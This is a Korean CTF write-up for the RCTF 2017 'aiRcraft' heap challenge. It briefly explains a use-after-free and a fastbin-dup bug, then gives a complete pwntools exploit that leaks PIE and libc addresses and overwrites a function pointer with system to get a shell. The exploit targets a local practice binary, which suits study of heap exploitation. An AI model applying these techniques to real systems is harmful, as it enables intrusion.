RCTF 2017 AirCraft
간단하게 익스방법만.
buy를 이용하면 내가 입력하는 데이터와 힙 주소를 저장해주는 포인터와 함수 포인터 등을 가지고있다.
이것을 free하면 함수 포인터를 NULL로 초기화를 안 해줘서 이것을이용하여서 pie base릭을 하고 plt got주소를 구할수있다.
build를 이용하면 포인터 하나를 할당하고 그곳에 내 데이터가 들어가는 할당된 청크 주소가 저장된다. 그 동시에 내 사이즈에 맞춰서 할당한다.
이때 전역 포인터 -> 청크 주소 저장 포인터 -> 내 데이터가 들어가는 청크(포인터)
이때 전역포인터가 더블포인터라 청크주소를 저장 하는 포인터가 가르키는 주소에있는 값을 출력한다. 이것을 노려서 라이브러리 릭을하였다.
enter를 쓰면 free가되면서 청크 주소를 저장하는 포인터와 내 데이터가 들어가는 포인터가 프리가된다.
하지만 전역 포인터를 NULL로 초기화를 시키지 않기때문에
따로 전역 주소를 저장하는 포인터가 생기지 않는 buy를 이용하여서 uaf를 하고 got주소를 덮으면 전역 포인터 -> puts_got -> 라이브러리로 릭을 할수있다.
select 를하면 buy 포인터와 build 포인터가 합쳐진다? build에 주소값이 들어가지는데 enter를 할때 build에 주소값이 있다면 free를 시킨다. 이때 할당이 되어있는지 확인을 안 하고 먼저 select를 하고있는지 확인을 안 하며 fastbin이여서 select 로 합쳐서 fastbin dup를 일으킬수있다.
이런식으로 합치고 그 아래 코드로 enter를 하면 fastbin에 qwe ewq qwe 가 들어가게할수있다
buy 포인터도 NULL로 초기화를 안 해주기때문에 UAF를 이용하여 fake struct를 짜줘서 함수 포인터를 시스템으로 바꿔주면 쉘을 딸 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | from pwn import * p=process("./aiRcraft") elf=ELF("./aiRcraft") def buy(company,name): p.recvuntil(': ') p.sendline("1") print p.recv(1024) p.sendline(str(company)) p.recvuntil(': ') p.sendline(name) def build(size,name): p.recvuntil(': ') p.sendline("2") p.recvuntil('? ') p.sendline(str(size)) p.recvuntil(': ') p.sendline(name) def enter(idx,what): p.recvuntil(': ') p.sendline("3") p.recvuntil('? ') p.sendline(str(idx)) p.recvuntil(': ') p.sendline(str(what)) def select(name,what,idx): p.recvuntil(': ') p.sendline("4") p.recvuntil('? ') p.sendline(name) p.recvuntil(': ') p.sendline(str(what)) if(what==1): p.recvuntil('? ') p.sendline(str(idx)) def exit(): p.recvuntil(': ') p.sendline("3") print "0x202080 build pointer" print "0x202138 company pointer" buy(1,"AAAA") #cr select("AAAA",2,0) #del build(64,"B"*64) #uaf buy(1,"ZZZZ") #cr select("ZZZZ",1,0) #print print p.recvuntil('to ') print p.recvuntil("B"*64) free_pointer = u64(p.recv(6)+"\x00\x00") binary_base = free_pointer - 0xb7d puts_got = binary_base + elf.got['puts'] puts_plt = binary_base + elf.plt['puts'] print hex(free_pointer) print hex(binary_base) print hex(puts_got) print hex(puts_plt) exit() enter(0,2) #build 0,company(ZZZZ) free build(40,"AAAA") enter(1,2) buy(4,"C"*16) #dummy heap uaf buy(1,p64(puts_got)) #build pointer uaf select(p64(puts_got),1,1) p.recvuntil(' to ') puts = u64(p.recv(6)+"\x00\x00") libc_base = puts - 0x6f690 system = libc_base + 0x45390 #system = libc_base + 0xf0274 free_hook = libc_base + 0x3c67a8 malloc_hook = libc_base + 0x3c4b10 print hex(puts) print hex(libc_base) print hex(system) print hex(free_hook) print hex(malloc_hook) exit() buy(4,"aaaabbbbcccc") buy(4,"QWE") buy(4,"EWQ") build(256,"zzzz") #2 build(256,"qqqq") #3 build(256,"tttt") #4 enter(2,2) select("QWE",1,2) p.recvuntil('to ') heap_base = u64(p.recv(6)+"\x00\x00") - 0x730 print hex(heap_base) buy_attack = heap_base + 0x160 print hex(buy_attack) exit() build(256,"zzzz") #2,5 build(65,"A"*56+p64(buy_attack+0x10)) #6 select("QWE",1,2) # 2-> qwe exit() select("EWQ",1,3) #3 -> ewq exit() select("QWE",1,4) #4 -> qwe exit() enter(2,2) #QWE enter(3,2) #EWQ enter(4,2) #QWE fastbin dup build(0x40,p64(buy_attack)) build(0x40,"CCCC") build(0x40,p64(buy_attack)) print hex(buy_attack) payload = "/bin/sh\x00" payload += "\x00"*40 payload += p64(heap_base + 0x8e0) payload += p64(heap_base + 0x210) payload += p64(system) build(0x48,payload) #plane /bin/sh == airport idx 9 #select("/bin/sh",2,2) p.interactive() | cs |
문제를 풀고 귀찮아서 write up을 미루다가 작성하게 되어서 설명에 실수가 있을수있습니다 ㅠ